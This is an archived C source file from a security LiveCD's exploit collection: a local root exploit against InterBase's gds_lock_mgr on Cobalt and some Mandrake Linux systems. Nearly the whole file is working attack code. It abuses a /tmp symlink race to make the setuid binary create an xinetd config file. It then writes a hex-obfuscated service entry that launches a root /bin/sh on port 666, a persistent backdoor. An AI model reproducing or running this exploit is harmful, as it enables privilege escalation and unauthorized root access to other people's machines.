home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / interbase / interbase-gds-exploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  63 lines

  1. // gds_lock_mgr easy local root compromise
  2. // All cobalt Linux affected, and certain mandrake installations.
  3. // Wouter ter Maat aka grazer - http://www.i-security.nl
  4.  
  5. #include <stdio.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <sys/utsname.h>
  10.  
  11. #define BDPATH "/etc/xinetd.d/xinetdbd"
  12. #define GDSBIN "/opt/interbase/bin/gds_lock_mgr"
  13.  
  14. int main() {
  15.  
  16. struct utsname buf;
  17. char path[24], lnc[34];
  18.  
  19. FILE *fd;
  20.  
  21. /* check for a rootshell on port 666 after the machine has rebooted.
  22.  * exploit written to work on a raq550 using xinetd
  23.  */
  24.  
  25. char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
  26.               "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
  27.               "\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
  28.               "\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
  29.               "\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
  30.               "\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
  31.               "\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
  32.               "\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
  33.               "\x3d\x20\x2d\x69\n\x7d\n";
  34.  
  35. fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");
  36.  
  37. uname(&buf);
  38. setenv("INTERBASE", "/tmp", 1); 
  39. sprintf(path, "%s", "/tmp/isc_init1.");
  40. strcat(path, buf.nodename);
  41.  
  42. chdir("/tmp");
  43. umask(000);
  44.  
  45. sprintf(lnc, "ln %s -s %s", BDPATH, path);
  46. system(lnc);
  47.  
  48. if(fd=fopen(GDSBIN, "r")) {
  49. system(GDSBIN); close(fd); }
  50. else {
  51. fprintf(stderr, "%s not found...\n", GDSBIN); 
  52. exit(0); }
  53.  
  54. if(fd=fopen(BDPATH, "w")) { 
  55. fprintf(stderr,"     exploit succesfull...\n");
  56. fprintf(fd, "%s", hexbd); close(fd);}
  57. else {
  58. fprintf(stderr, "exploit failed...\n"); 
  59. exit(0); }
  60.  
  61. }
  62.  
  63.